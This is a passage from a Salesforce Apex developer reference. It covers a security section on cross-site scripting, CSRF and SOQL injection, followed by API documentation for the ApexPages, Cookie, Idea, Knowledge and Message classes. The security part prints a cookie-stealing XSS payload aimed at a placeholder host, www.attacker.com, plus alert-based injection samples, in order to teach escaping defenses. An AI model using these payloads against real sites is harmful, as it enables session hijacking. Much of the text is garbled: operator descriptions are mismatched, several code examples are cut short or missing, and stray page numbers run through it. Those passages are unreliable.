Note: You cant have a relative comparison expression that includes a null value. Doing so results in an exception. Specifically,
you cant have a null value on either side of the following operators:
< (less than)
<= (less than or equals)
> (greater than)
>= (greater than or equals)
Operator
Description
Use
= and ==
<> and !=
Evaluates if a value is less than the value that value1 < value2 and replace each
follows this symbol.
value with merge fields, expressions, or
other numeric values.
>
Evaluates if a value is greater than the value value1 > value2 and replace each
that follows this symbol.
value with merge fields, expressions, or
other numeric values.
<=
Evaluates if a value is greater than or equal value1 >= value2 and replace each
to the value that follows this symbol.
value with merge fields, expressions, or
other numeric values.
&&
||
645
Expression Operators
Text Operators
Operator
Description
Use
&
or other values.
646
This script block inserts the value of the user-supplied userparam onto the page. The attacker can then enter the following value for
userparam:
1';document.location='http://www.attacker.com/cgi-bin/cookie.cgi?'%2Bdocument.cookie;var%20foo='2
In this case, all of the cookies for the current page are sent to www.attacker.com as the query string in the request to the
cookie.cgi script. At this point, the attacker has the victim's session cookie and can connect to the Web application as if they were
the victim.
The attacker can post a malicious script using a Website or email. Web application users not only see the attacker's input, but their
browser can execute the attacker's script in a trusted context. With this ability, the attacker can perform a wide variety of attacks against
the victim. These range from simple actions, such as opening and closing windows, to more malicious attacks, such as stealing data or
session cookies, allowing an attacker full access to the victim's session.
647
For more information on this attack in general, see the following articles:
http://www.owasp.org/index.php/Cross_Site_Scripting
http://www.cgisecurity.com/xss-faq.html
http://www.owasp.org/index.php/Testing_for_Cross_site_scripting
http://www.google.com/search?q=cross-site+scripting
Within the Force.com platform there are several anti-XSS defenses in place. For example, Salesforce has implemented filters that screen
out harmful characters in most output methods. For the developer using standard classes and output methods, the threats of XSS flaws
have been largely mitigated. However, the creative developer can still find ways to intentionally or accidentally bypass the default
controls. The following sections show where protection does and does not exist.
Existing Protection
All standard Visualforce components, which start with <apex>, have anti-XSS filters in place. For example, the following code is normally
vulnerable to an XSS attack because it takes user-supplied input and outputs it directly back to the user, but the <apex:outputText>
tag is XSS-safe. All characters that appear to be HTML tags are converted to their literal form. For example, the < character is converted
to < so that a literal < displays on the user's screen.
<apex:outputText>
{!$CurrentPage.parameters.userInput}
</apex:outputText>
<apex:includeScript>
The <apex:includeScript> Visualforce component allows you to include a custom script on the page. In these cases, be
very careful to validate that the content is safe and does not include user-supplied data. For example, the following snippet is
extremely vulnerable because it includes user-supplied input as the value of the script text. The value provided by the tag is a URL
648
to the JavaScript to include. If an attacker can supply arbitrary data to this parameter (as in the example below), they can potentially
direct the victim to include any JavaScript file from any other website.
<apex:includeScript value="{!$CurrentPage.parameters.userInput}" />
The unescaped {!myTextField} results in a cross-site scripting vulnerability. For example, if the user enters :
<script>alert('xss')
and clicks Update It, the JavaScript is executed. In this case, an alert dialog is displayed, but more malicious uses could be designed.
There are several functions that you can use for escaping potentially insecure strings.
HTMLENCODE
Encodes text and merge field values for use in HTML by replacing characters that are reserved in HTML, such as the greater-than
sign (>), with HTML entity equivalents, such as >.
JSENCODE
Encodes text and merge field values for use in JavaScript by inserting escape characters, such as a backslash (\), before unsafe
JavaScript characters, such as the apostrophe (').
JSINHTMLENCODE
Encodes text and merge field values for use in JavaScript inside HTML tags by replacing characters that are reserved in HTML with
HTML entity equivalents and inserting escape characters before unsafe JavaScript characters. JSINHTMLENCODE(someValue)
is a convenience function that is equivalent to JSENCODE(HTMLENCODE((someValue)). That is, JSINHTMLENCODE
first encodes someValue with HTMLENCODE, and then encodes the result with JSENCODE.
URLENCODE
Encodes text and merge field values for use in URLs by replacing characters that are illegal in URLs, such as blank spaces, with the
code that represent those characters as defined in RFC 3986, Uniform Resource Identifier (URI): Generic Syntax. For example, blank
spaces are replaced with %20, and exclamation points are replaced with %21.
649
To use HTMLENCODE to secure the previous example, change the <apex:outputText> to the following:
<apex:outputText value=" {!HTMLENCODE(myTextField)}" escape="false"/>
If a user enters <script>alert('xss') and clicks Update It, the JavaScript is not be executed. Instead, the string is encoded
and the page displays Value of myTextField is <script>alert('xss').
Depending on the placement of the tag and usage of the data, both the characters needing escaping as well as their escaped counterparts
may vary. For instance, this statement, which copies a Visualforce request parameter into a JavaScript variable:
<script>var ret = "{!$CurrentPage.parameters.retURL}";</script>
requires that any double quote characters in the request parameter be escaped with the URL encoded equivalent of %22 instead of
the HTML escaped ". Otherwise, the request:
http://example.com/demo/redirect.html?retURL=%22foo%22%3Balert('xss')%3B%2F%2F
results in:
<script>var ret = "foo";alert('xss');//";</script>
When the page loads the JavaScript executes, and the alert is displayed.
In this case, to prevent JavaScript from being executed, use the JSENCODE function. For example
<script>var ret = "{!JSENCODE($CurrentPage.parameters.retURL)}";</script>
Formula tags can also be used to include platform object data. Although the data is taken directly from the user's organization, it must
still be escaped before use to prevent users from executing code in the context of other users (potentially those with higher privilege
levels). While these types of attacks must be performed by users within the same organization, they undermine the organization's user
roles and reduce the integrity of auditing records. Additionally, many organizations contain data which has been imported from external
sources and might not have been screened for malicious content.
In other words, the attacker's page contains a URL that performs an action on your website. If the user is still logged into your Web page
when they visit the attacker's Web page, the URL is retrieved and the actions performed. This attack succeeds because the user is still
authenticated to your Web page. This is a very simple example and the attacker can get more creative by using scripts to generate the
callback request or even use CSRF attacks against your AJAX methods.
For more information and traditional defenses, see the following articles:
http://www.owasp.org/index.php/Cross-Site_Request_Forgery
http://www.cgisecurity.com/csrf-faq.html
http://shiflett.org/articles/cross-site-request-forgeries
Within the Force.com platform, Salesforce has implemented an anti-CSRF token to prevent this attack. Every page includes a random
string of characters as a hidden form field. Upon the next page load, the application checks the validity of this string of characters and
650
SOQL Injection
does not execute the command unless the value matches the expected value. This feature protects you when using all of the standard
controllers and methods.
Here again, the developer might bypass the built-in defenses without realizing the risk. For example, suppose you have a custom controller
where you take the object ID as an input parameter, then use that input parameter in an SOQL call. Consider the following code snippet.
<apex:page controller="myClass" action="{!init}"</apex:page>
public class myClass {
public void init() {
Id id = ApexPages.currentPage().getParameters().get('id');
Account obj = [select id, Name FROM Account WHERE id = :id];
delete obj;
return ;
}
}
In this case, the developer has unknowingly bypassed the anti-CSRF controls by developing their own action method. The id parameter
is read and used in the code. The anti-CSRF token is never read or validated. An attacker Web page might have sent the user to this page
using a CSRF attack and provided any value they wish for the id parameter.
There are no built-in defenses for situations like this and developers should be cautious about writing pages that take action based upon
a user-supplied parameter like the id variable in the preceding example. A possible work-around is to insert an intermediate confirmation
page before taking the action, to make sure the user intended to call the page. Other suggestions include shortening the idle session
timeout for the organization and educating users to log out of their active session and not use their browser to visit other sites while
authenticated.
SOQL Injection
In other programming languages, the previous flaw is known as SQL injection. Apex does not use SQL, but uses its own database query
language, SOQL. SOQL is much simpler and more limited in functionality than SQL. Therefore, the risks are much lower for SOQL injection
than for SQL injection, but the attacks are nearly identical to traditional SQL injection. In summary SQL/SOQL injection involves taking
user-supplied input and using those values in a dynamic SOQL query. If the input is not validated, it can include SOQL commands that
effectively modify the SOQL statement and trick the application into performing unintended commands.
For more information on SQL Injection attacks see:
http://www.owasp.org/index.php/SQL_injection
http://www.owasp.org/index.php/Blind_SQL_Injection
http://www.owasp.org/index.php/Guide_to_SQL_Injection
http://www.google.com/search?q=sql+injection
651
SOQL Injection
This is a very simple example but illustrates the logic. The code is intended to search for contacts that have not been deleted. The user
provides one input value called name. The value can be anything provided by the user and it is never validated. The SOQL query is built
dynamically and then executed with the Database.query method. If the user provides a legitimate value, the statement executes
as expected:
// User supplied value: name = Bob
// Query string
SELECT Id FROM Contact WHERE (IsDeleted = false and Name like '%Bob%')
Now the results show all contacts, not just the non-deleted ones. A SOQL Injection flaw can be used to modify the intended logic of any
vulnerable query.
If you must use dynamic SOQL, use the escapeSingleQuotes method to sanitize user-supplied input. This method adds the
escape character (\) to all single quotation marks in a string that is passed in from a user. The method ensures that all single quotation
marks are treated as enclosing strings, instead of database commands.
652
In this case, all contact records are searched, even if the user currently logged in would not normally have permission to view these
records. The solution is to use the qualifying keywords with sharing when declaring the class:
public with sharing class customController {
. . .
}
The with sharing keyword directs the platform to use the security sharing permissions of the user currently logged in, rather than
granting full access to all records.
653
IdeaStandardSetController Class
IdeaStandardSetController objects offer Ideas-specific functionality in addition to what is provided by the
StandardSetController.
KnowledgeArticleVersionStandardController Class
KnowledgeArticleVersionStandardController objects offer article-specific functionality in addition to what is
provided by the StandardController.
Message Class
Contains validation errors that occur when the end user saves the page when using a standard controller.
PageReference Class
A PageReference is a reference to an instantiation of a page. Among other attributes, PageReferences consist of a URL and a set of
query parameter names and values.
SelectOption Class
A SelectOption object specifies one of the possible values for a Visualforce selectCheckboxes, selectList, or
selectRadio component.
StandardController Class
Use a StandardController when defining an extension for a standard controller.
654
ApexPages Class
StandardSetController Class
StandardSetController objects allow you to create list controllers similar to, or as extensions of, the pre-built Visualforce
ApexPages Class
Use ApexPages to add and check for messages associated with the current page, as well as to reference the current page.
Namespace
System
Usage
In addition, ApexPages is used as a namespace for the PageReference Class and the Message Class.
ApexPages Methods
The following are methods for ApexPages. All are instance methods.
IN THIS SECTION:
addMessage(message)
Add a message to the current page context.
addMessages(exceptionThrown)
Adds a list of messages to the current page context based on a thrown exception.
currentPage()
Returns the current page's PageReference.
getMessages()
Returns a list of the messages associated with the current context.
hasMessages()
Returns true if there are messages associated with the current context, false otherwise.
hasMessages(severity)
Returns true if messages of the specified severity exist, false otherwise.
addMessage(message)
Add a message to the current page context.
Signature
public Void addMessage(ApexPages.Message message)
655
ApexPages Methods
Parameters
message
Type: ApexPages.Message
Return Value
Type: Void
addMessages(exceptionThrown)
Adds a list of messages to the current page context based on a thrown exception.
Signature
public Void addMessages(Exception exceptionThrown)
Parameters
exceptionThrown
Type: Exception
Return Value
Type: Void
currentPage()
Returns the current page's PageReference.
Signature
public System.PageReference currentPage()
Return Value
Type: System.PageReference
Example
This code segment returns the id parameter of the current page.
public MyController() {
account = [
SELECT Id, Name, Site
FROM Account
WHERE Id =
:ApexPages.currentPage().
getParameters().
get('id')
656
Action Class
];
}
getMessages()
Returns a list of the messages associated with the current context.
Signature
public ApexPages.Message[] getMessages()
Return Value
Type: ApexPages.Message[]
hasMessages()
Returns true if there are messages associated with the current context, false otherwise.
Signature
public Boolean hasMessages()
Return Value
Type: Boolean
hasMessages(severity)
Returns true if messages of the specified severity exist, false otherwise.
Signature
public Boolean hasMessages(ApexPages.Severity severity)
Parameters
sev
Type: ApexPages.Severity
Return Value
Type: Boolean
Action Class
You can use ApexPages.Action to create an action method that you can use in a Visualforce custom controller or controller
extension.
657
Action Class
Namespace
ApexPages
Usage
For example, you could create a saveOver method on a controller extension that performs a custom save.
Instantiation
The following code snippet illustrates how to instantiate a new ApexPages.Action object that uses the save action:
ApexPages.Action saveAction = new ApexPages.Action('{!save}');
Example
In the following example, when the user updates or creates a new Account and clicks the Save button, in addition to the account being
updated or created, the system writes a message to the system debug log. This example extends the standard controller for Account.
The following is the controller extension.
public class pageCon{
public PageReference RedirectToStep2(){
// ...
// ...
return Page.Step2;
}
}
The following is the Visualforce markup for a page that uses the above controller extension.
<apex:component>
<apex:attribute name="actionToInvoke" type="ApexPages.Action" ... />
...
<apex:commandButton value="Perform Controller Action" action="{!actionToInvoke}"/>
</apex:component>
<apex:page controller="pageCon">
...
<c:myComp actionToInvoke="{!RedirectToStep2}"/>
</apex:page>
For information on the debug log, see View Debug Logs in the Salesforce online help.
IN THIS SECTION:
Action Constructors
Action Methods
658
Action Constructors
Action Constructors
The following are constructors for Action.
IN THIS SECTION:
Action(action)
Creates a new instance of the ApexPages.Action class using the specified action.
Action(action)
Creates a new instance of the ApexPages.Action class using the specified action.
Signature
public Action(String action)
Parameters
action
Type: String
The action.
Action Methods
The following are methods for Action. All are instance methods.
IN THIS SECTION:
getExpression()
Returns the expression that is evaluated when the action is invoked.
invoke()
Invokes the action.
getExpression()
Returns the expression that is evaluated when the action is invoked.
Signature
public String getExpression()
Return Value
Type: String
659
Cookie Class
invoke()
Invokes the action.
Signature
public System.PageReference invoke()
Return Value
Type: System.PageReference
Cookie Class
The Cookie class lets you access cookies for your Force.com site using Apex.
Namespace
System
Usage
Use the setCookies method of the PageReference Class to attach cookies to a page.
Important:
Cookie names and values set in Apex are URL encoded, that is, characters such as @ are replaced with a percent sign and their
hexadecimal representation.
The setCookies method adds the prefix apex__ to the cookie names.
Setting a cookie's value to null sends a cookie with an empty string value instead of setting an expired attribute.
After you create a cookie, the properties of the cookie can't be changed.
Be careful when storing sensitive information in cookies. Pages are cached regardless of a cookie value. If you use a cookie
value to generate dynamic content, you should disable page caching. For more information, see Caching Force.com Sites
Pages in the Salesforce online help.
Consider the following limitations when using the Cookie class:
The Cookie class can only be accessed using Apex that is saved using the Salesforce API version 19 and above.
The maximum number of cookies that can be set per Force.com domain depends on your browser. Newer browsers have higher
limits than older ones.
Cookies must be less than 4K, including name and attributes.
For more information on sites, see Force.com Sites Overview in the Salesforce online help.
660
Cookie Class
Example
The following example creates a class, CookieController, which is used with a Visualforce page (see markup below) to update
a counter each time a user displays a page. The number of times a user goes to the page is stored in a cookie.
// A Visualforce controller class that creates a cookie
// used to keep track of how often a user displays a page
public class CookieController {
public CookieController() {
Cookie counter = ApexPages.currentPage().getCookies().get('counter');
//
//
//
if
661
Cookie Constructors
The following is the Visualforce page that uses the CookieController Apex controller above. The action {!count} calls the
getCount method in the controller above.
<apex:page controller="CookieController">
You have seen this page {!count} times
</apex:page>
IN THIS SECTION:
Cookie Constructors
Cookie Methods
Cookie Constructors
The following are constructors for Cookie.
IN THIS SECTION:
Cookie(name, value, path, maxAge, isSecure)
Creates a new instance of the Cookie class using the specified name, value, path, age, and the secure setting.
Signature
public Cookie(String name, String value, String path, Integer maxAge, Boolean isSecure)
Parameters
name
Type: String
The cookie name. It cant be null.
value
Type: String
The cookie data, such as session ID.
path
Type: String
The path from where you can retrieve the cookie.
maxAge
Type: Integer
A number representing how long a cookie is valid for in seconds. If set to less than zero, a session cookie is issued. If set to zero, the
cookie is deleted.
isSecure
Type: Boolean
662
Cookie Methods
A value indicating whether the cookie can only be accessed through HTTPS (true) or not (false).
Cookie Methods
The following are methods for Cookie. All are instance methods.
IN THIS SECTION:
getDomain()
Returns the name of the server making the request.
getMaxAge()
Returns a number representing how long the cookie is valid for, in seconds. If set to < 0, a session cookie is issued. If set to 0, the
cookie is deleted.
getName()
Returns the name of the cookie. Can't be null.
getPath()
Returns the path from which you can retrieve the cookie. If null or blank, the location is set to root, or /.
getValue()
Returns the data captured in the cookie, such as Session ID.
isSecure()
Returns true if the cookie can only be accessed through HTTPS, otherwise returns false.
getDomain()
Returns the name of the server making the request.
Signature
public String getDomain()
Return Value
Type: String
getMaxAge()
Returns a number representing how long the cookie is valid for, in seconds. If set to < 0, a session cookie is issued. If set to 0, the cookie
is deleted.
Signature
public Integer getMaxAge()
Return Value
Type: Integer
663
Cookie Methods
getName()
Returns the name of the cookie. Can't be null.
Signature
public String getName()
Return Value
Type: String
getPath()
Returns the path from which you can retrieve the cookie. If null or blank, the location is set to root, or /.
Signature
public String getPath()
Return Value
Type: String
getValue()
Returns the data captured in the cookie, such as Session ID.
Signature
public String getValue()
Return Value
Type: String
isSecure()
Returns true if the cookie can only be accessed through HTTPS, otherwise returns false.
Signature
public Boolean isSecure()
Return Value
Type: Boolean
664
IdeaStandardController Class
IdeaStandardController Class
IdeaStandardController objects offer Ideas-specific functionality in addition to what is provided by the
StandardController.
Namespace
ApexPages
Usage
A method in the IdeaStandardController object is called by and operated on a particular instance of an IdeaStandardController.
Note: The IdeaStandardSetController and IdeaStandardController classes are currently available through
a limited release program. For information on enabling these classes for your organization, contact your Salesforce representative.
In addition to the methods listed in this class, the IdeaStandardController class inherits all the methods associated with the
StandardController class.
Instantiation
An IdeaStandardController object cannot be instantiated. An instance can be obtained through a constructor of a custom extension
controller when using the standard ideas controller.
Example
The following example shows how an IdeaStandardController object can be used in the constructor for a custom list controller. This
example provides the framework for manipulating the comment list data before displaying it on a Visualforce page.
public class MyIdeaExtension {
private final ApexPages.IdeaStandardController ideaController;
public MyIdeaExtension(ApexPages.IdeaStandardController controller) {
ideaController = (ApexPages.IdeaStandardController)controller;
}
public List<IdeaComment> getModifiedComments() {
IdeaComment[] comments = ideaController.getCommentList();
// modify comments here
return comments;
}
}
The following Visualforce markup shows how the IdeaStandardController example shown above can be used in a page. This page must
be named detailPage for this example to work.
665
IdeaStandardController Methods
Note: For the Visualforce page to display the idea and its comments, in the following example you need to specify the ID of a
specific idea (for example, /apex/detailPage?id=<ideaID>) whose comments you want to view.
<!-- page named detailPage -->
<apex:page standardController="Idea" extensions="MyIdeaExtension">
<apex:pageBlock title="Idea Section">
<ideas:detailOutputLink page="detailPage" ideaId="{!idea.id}">{!idea.title}
</ideas:detailOutputLink>
<br/><br/>
<apex:outputText >{!idea.body}</apex:outputText>
</apex:pageBlock>
<apex:pageBlock title="Comments Section">
<apex:dataList var="a" value="{!modifiedComments}" id="list">
{!a.commentBody}
</apex:dataList>
<ideas:detailOutputLink page="detailPage" ideaId="{!idea.id}"
pageOffset="-1">Prev</ideas:detailOutputLink>
|
<ideas:detailOutputLink page="detailPage" ideaId="{!idea.id}"
pageOffset="1">Next</ideas:detailOutputLink>
</apex:pageBlock>
</apex:page>
IdeaStandardController Methods
The following are instance methods for IdeaStandardController.
IN THIS SECTION:
getCommentList()
Returns the list of read-only comments from the current page.
getCommentList()
Returns the list of read-only comments from the current page.
Signature
public IdeaComment[] getCommentList()
Return Value
Type: IdeaComment[]
This method returns the following comment properties:
id
commentBody
createdDate
createdBy.Id
createdBy.communityNickname
666
IdeaStandardSetController Class
IdeaStandardSetController Class
IdeaStandardSetController objects offer Ideas-specific functionality in addition to what is provided by the
StandardSetController.
Namespace
ApexPages
Usage
Note: The IdeaStandardSetController and IdeaStandardController classes are currently available through
a limited release program. For information on enabling these classes for your organization, contact your Salesforce representative.
In addition to the method listed above, the IdeaStandardSetController class inherits the methods associated with the
StandardSetController.
Note: The methods inherited from the StandardSetController cannot be used to affect the list of ideas returned by
the getIdeaList method.
Instantiation
An IdeaStandardSetController object cannot be instantiated. An instance can be obtained through a constructor of a custom extension
controller when using the standard list controller for ideas.
The following Visualforce markup shows how the IdeaStandardSetController example shown above and the
<ideas:profileListOutputLink> component can display a profile page that lists the recent replies, submitted ideas, and
votes associated with a user. Because this example does not identify a specific user ID, the page automatically shows the profile page
for the current logged in user. This page must be named profilePage in order for this example to work:
<!-- page named profilePage -->
<apex:page standardController="Idea" extensions="MyIdeaProfileExtension"
667
IdeaStandardSetController Class
recordSetVar="ideaSetVar">
<apex:pageBlock >
<ideas:profileListOutputLink sort="recentReplies" page="profilePage">
Recent Replies</ideas:profileListOutputLink>
|
<ideas:profileListOutputLink sort="ideas" page="profilePage">Ideas Submitted
</ideas:profileListOutputLink>
|
<ideas:profileListOutputLink sort="votes" page="profilePage">Ideas Voted
</ideas:profileListOutputLink>
</apex:pageBlock>
<apex:pageBlock >
<apex:dataList value="{!modifiedIdeas}" var="ideadata">
<ideas:detailoutputlink ideaId="{!ideadata.id}" page="viewPage">
{!ideadata.title}</ideas:detailoutputlink>
</apex:dataList>
</apex:pageBlock>
</apex:page>
In the previous example, the <ideas:detailoutputlink> component links to the following Visualforce markup that displays
the detail page for a specific idea. This page must be named viewPage in order for this example to work:
<!-- page named viewPage -->
<apex:page standardController="Idea">
<apex:pageBlock title="Idea Section">
<ideas:detailOutputLink page="viewPage" ideaId="{!idea.id}">{!idea.title}
</ideas:detailOutputLink>
<br/><br/>
<apex:outputText>{!idea.body}</apex:outputText>
</apex:pageBlock>
</apex:page>
Example: Displaying a List of Top, Recent, and Most Popular Ideas and
Comments
The following example shows how an IdeaStandardSetController object can be used in the constructor for a custom list controller:
Note: You must have created at least one idea for this example to return any ideas.
public class MyIdeaListExtension {
private final ApexPages.IdeaStandardSetController ideaSetController;
public MyIdeaListExtension (ApexPages.IdeaStandardSetController controller) {
ideaSetController = (ApexPages.IdeaStandardSetController)controller;
}
public List<Idea> getModifiedIdeas() {
Idea[] ideas = ideaSetController.getIdeaList();
// modify ideas here
return ideas;
}
}
668
IdeaStandardSetController Methods
The following Visualforce markup shows how the IdeaStandardSetController example shown above can be used with the
<ideas:listOutputLink> component to display a list of recent, top, and most popular ideas and comments. This page must
be named listPage in order for this example to work:
<!-- page named listPage -->
<apex:page standardController="Idea" extensions="MyIdeaListExtension"
recordSetVar="ideaSetVar">
<apex:pageBlock >
<ideas:listOutputLink sort="recent" page="listPage">Recent Ideas
</ideas:listOutputLink>
|
<ideas:listOutputLink sort="top" page="listPage">Top Ideas
</ideas:listOutputLink>
|
<ideas:listOutputLink sort="popular" page="listPage">Popular Ideas
</ideas:listOutputLink>
|
<ideas:listOutputLink sort="comments" page="listPage">Recent Comments
</ideas:listOutputLink>
</apex:pageBlock>
<apex:pageBlock >
<apex:dataList value="{!modifiedIdeas}" var="ideadata">
<ideas:detailoutputlink ideaId="{!ideadata.id}" page="viewPage">
{!ideadata.title}</ideas:detailoutputlink>
</apex:dataList>
</apex:pageBlock>
</apex:page>
In the previous example, the <ideas:detailoutputlink> component links to the following Visualforce markup that displays
the detail page for a specific idea. This page must be named viewPage.
<!-- page named viewPage -->
<apex:page standardController="Idea">
<apex:pageBlock title="Idea Section">
<ideas:detailOutputLink page="viewPage" ideaId="{!idea.id}">{!idea.title}
</ideas:detailOutputLink>
<br/><br/>
<apex:outputText>{!idea.body}</apex:outputText>
</apex:pageBlock>
</apex:page>
IdeaStandardSetController Methods
The following are instance methods for IdeaStandardSetController.
IN THIS SECTION:
getIdeaList()
Returns the list of read-only ideas in the current page set.
getIdeaList()
Returns the list of read-only ideas in the current page set.
669
KnowledgeArticleVersionStandardController Class
Signature
public Idea[] getIdeaList()
Return Value
Type: Idea[]
Usage
You can use the <ideas:listOutputLink>, <ideas:profileListOutputLink>, and
<ideas:detailOutputLink> components to display profile pages as well as idea list and detail pages (see the examples below).
The following is a list of properties returned by this method:
Body
Categories
Category
CreatedBy.CommunityNickname
CreatedBy.Id
CreatedDate
Id
LastCommentDate
LastComment.Id
LastComment.CommentBody
LastComment.CreatedBy.CommunityNickname
LastComment.CreatedBy.Id
NumComments
Status
Title
VoteTotal
KnowledgeArticleVersionStandardController Class
KnowledgeArticleVersionStandardController objects offer article-specific functionality in addition to what is provided
by the StandardController.
Namespace
ApexPages
Usage
In addition to the method listed above, the KnowledgeArticleVersionStandardController class inherits all the methods
associated with StandardController.
670
KnowledgeArticleVersionStandardController Class
Note: Though inherited, the edit, delete, and save methods don't serve a function when used with the
KnowledgeArticleVersionStandardController class.
Example
The following example shows how a KnowledgeArticleVersionStandardController object can be used to create a
custom extension controller. In this example, you create a class named AgentContributionArticleController that allows
customer-support agents to see pre-populated fields on the draft articles they create while closing cases.
Prerequisites:
1. Create an article type called FAQ. For instructions, see Create Article Types in the Salesforce online help.
2. Create a text custom field called Details. For instructions, see Add Custom Fields to Article Types in the Salesforce online help.
3. Create a category group called Geography and assign it to a category called USA. For instructions, see Create and Modify
Category Groups and Add Data Categories to Category Groups in the Salesforce online help.
4. Create a category group called Topics and assign it a category called Maintenance.
/** Custom extension controller for the simplified article edit page that
appears when an article is created on the close-case page.
*/
public class AgentContributionArticleController {
// The constructor must take a ApexPages.KnowledgeArticleVersionStandardController as
an argument
public AgentContributionArticleController(
ApexPages.KnowledgeArticleVersionStandardController ctl) {
// This is the SObject for the new article.
//It can optionally be cast to the proper article type.
// For example, FAQ__kav article = (FAQ__kav) ctl.getRecord();
SObject article = ctl.getRecord();
// This returns the ID of the case that was closed.
String sourceId = ctl.getSourceId();
Case c = [SELECT Subject, Description FROM Case WHERE Id=:sourceId];
// This overrides the default behavior of pre-filling the
// title of the article with the subject of the closed case.
article.put('title', 'From Case: '+c.subject);
article.put('details__c',c.description);
// Only one category per category group can be specified.
ctl.selectDataCategory('Geography','USA');
ctl.selectDataCategory('Topics','Maintenance');
}
}
/** Test class for the custom extension controller.
*/
@isTest
private class AgentContributionArticleControllerTest {
static testMethod void testAgentContributionArticleController() {
String caseSubject = 'my test';
String caseDesc = 'my test description';
Case c = new Case();
671
KnowledgeArticleVersionStandardController Constructors
c.subject= caseSubject;
c.description = caseDesc;
insert c;
String caseId = c.id;
System.debug('Created Case: ' + caseId);
ApexPages.currentPage().getParameters().put('sourceId', caseId);
ApexPages.currentPage().getParameters().put('sfdc.override', '1');
ApexPages.KnowledgeArticleVersionStandardController ctl =
new ApexPages.KnowledgeArticleVersionStandardController(new FAQ__kav());
new AgentContributionArticleController(ctl);
System.assertEquals(caseId, ctl.getSourceId());
System.assertEquals('From Case: '+caseSubject, ctl.getRecord().get('title'));
System.assertEquals(caseDesc, ctl.getRecord().get('details__c'));
}
}
If you created the custom extension controller for the purpose described in the previous example (that is, to modify submitted-via-case
articles), complete the following steps after creating the class:
1. Log into your Salesforce organization and from Setup, enter Knowledge Settings in the Quick Find box, then select
Knowledge Settings.
2. Click Edit.
3. Assign the class to the Use Apex customization field. This associates the article type specified in the new class with the
article type assigned to closed cases.
4. Click Save.
IN THIS SECTION:
KnowledgeArticleVersionStandardController Constructors
KnowledgeArticleVersionStandardController Methods
KnowledgeArticleVersionStandardController Constructors
The following are constructors for KnowledgeArticleVersionStandardController.
IN THIS SECTION:
KnowledgeArticleVersionStandardController(article)
Creates a new instance of the ApexPages.KnowledgeArticleVersionStandardController class using the
specified knowledge article.
KnowledgeArticleVersionStandardController(article)
Creates a new instance of the ApexPages.KnowledgeArticleVersionStandardController class using the specified
knowledge article.
672
KnowledgeArticleVersionStandardController Methods
Signature
public KnowledgeArticleVersionStandardController(SObject article)
Parameters
article
Type: SObject
The knowledge article, such as FAQ_kav.
KnowledgeArticleVersionStandardController Methods
The following are instance methods for KnowledgeArticleVersionStandardController.
IN THIS SECTION:
getSourceId()
Returns the ID for the source object record when creating a new article from another object.
setDataCategory(categoryGroup, category)
Specifies a default data category for the specified data category group when creating a new article.
getSourceId()
Returns the ID for the source object record when creating a new article from another object.
Signature
public String getSourceId()
Return Value
Type: String
setDataCategory(categoryGroup, category)
Specifies a default data category for the specified data category group when creating a new article.
Signature
public Void setDataCategory(String categoryGroup, String category)
Parameters
categoryGroup
Type: String
category
Type: String
673
Message Class
Return Value
Type: Void
Message Class
Contains validation errors that occur when the end user saves the page when using a standard controller.
Namespace
ApexPages
Usage
When using a standard controller, all validation errors, both custom and standard, that occur when the end user saves the page are
automatically added to the page error collections. If there is an inputField component bound to the field with an error, the message
is added to the components error collection. All messages are added to the pages error collection. For more information, see Validation
Rules and Standard Controllers in the Visualforce Developer's Guide.
If your application uses a custom controller or extension, you must use the message class for collecting errors.
Instantiation
In a custom controller or controller extension, you can instantiate a Message in one of the following ways:
where ApexPages.severity is the enum that is determines how severe a message is, and summary is the String used to
summarize the message. For example:
ApexPages.Message myMsg = new ApexPages.Message(ApexPages.Severity.FATAL, 'my error
msg');
where ApexPages. severity is the enum that is determines how severe a message is, summary is the String used to
summarize the message, and detail is the String used to provide more detailed information about the error.
ApexPages.Severity Enum
Using the ApexPages.Severity enum values, specify the severity of the message. The following are the valid values:
CONFIRM
ERROR
FATAL
INFO
WARNING
All enums have access to standard methods, such as name and value.
674
Message Constructors
IN THIS SECTION:
Message Constructors
Message Methods
Message Constructors
The following are constructors for Message.
IN THIS SECTION:
Message(severity, summary)
Creates a new instance of the ApexPages.Message class using the specified message severity and summary.
Message(severity, summary, detail)
Creates a new instance of the ApexPages.Message class using the specified message severity, summary, and message detail.
Message(severity, summary, detail, id)
Creates a new instance of the ApexPages.Message class using the specified severity, summary, detail, and component ID.
Message(severity, summary)
Creates a new instance of the ApexPages.Message class using the specified message severity and summary.
Signature
public Message(ApexPages.Severity severity, String summary)
Parameters
severity
Type: ApexPages.Severity
The severity of a Visualforce message.
summary
Type: String
The summary Visualforce message.
Signature
public Message(ApexPages.Severity severity, String summary, String detail)
Parameters
severity
Type: ApexPages.Severity
675
Message Methods
Type: String
The summary Visualforce message.
detail
Type: String
The detailed Visualforce message.
Signature
public Message(ApexPages.Severity severity, String summary, String detail, String id)
Parameters
severity
Type: ApexPages.Severity
The severity of a Visualforce message.
summary
Type: String
The summary Visualforce message.
detail
Type: String
The detailed Visualforce message.
id
Type: String
The ID of the Visualforce component to associate with the message, for example, a form field with an error.
Message Methods
The following are methods for Message. All are instance methods.
IN THIS SECTION:
getComponentLabel()
Returns the label of the associated inputField component. If no label is defined, this method returns null.
getDetail()
Returns the value of the detail parameter used to create the message. If no detail String was specified, this method returns null.
getSeverity()
Returns the severity enum used to create the message.
676
Message Methods
getSummary()
Returns the summary String used to create the message.
getComponentLabel()
Returns the label of the associated inputField component. If no label is defined, this method returns null.
Signature
public String getComponentLabel()
Return Value
Type: String
getDetail()
Returns the value of the detail parameter used to create the message. If no detail String was specified, this method returns null.
Signature
public String getDetail()
Return Value
Type: String
getSeverity()
Returns the severity enum used to create the message.
Signature
public ApexPages.Severity getSeverity()
Return Value
Type: ApexPages.Severity
getSummary()
Returns the summary String used to create the message.
Signature
public String getSummary()
677
PageReference Class
Return Value
Type: String
PageReference Class
A PageReference is a reference to an instantiation of a page. Among other attributes, PageReferences consist of a URL and a set of query
parameter names and values.
Namespace
System
Use a PageReference object:
To view or set query string parameters and values for a page
To navigate the user to a different page as the result of an action method
Instantiation
In a custom controller or controller extension, you can refer to or instantiate a PageReference in one of the following ways:
Page.existingPageName
Refers to a PageReference for a Visualforce page that has already been saved in your organization. By referring to a page in this way,
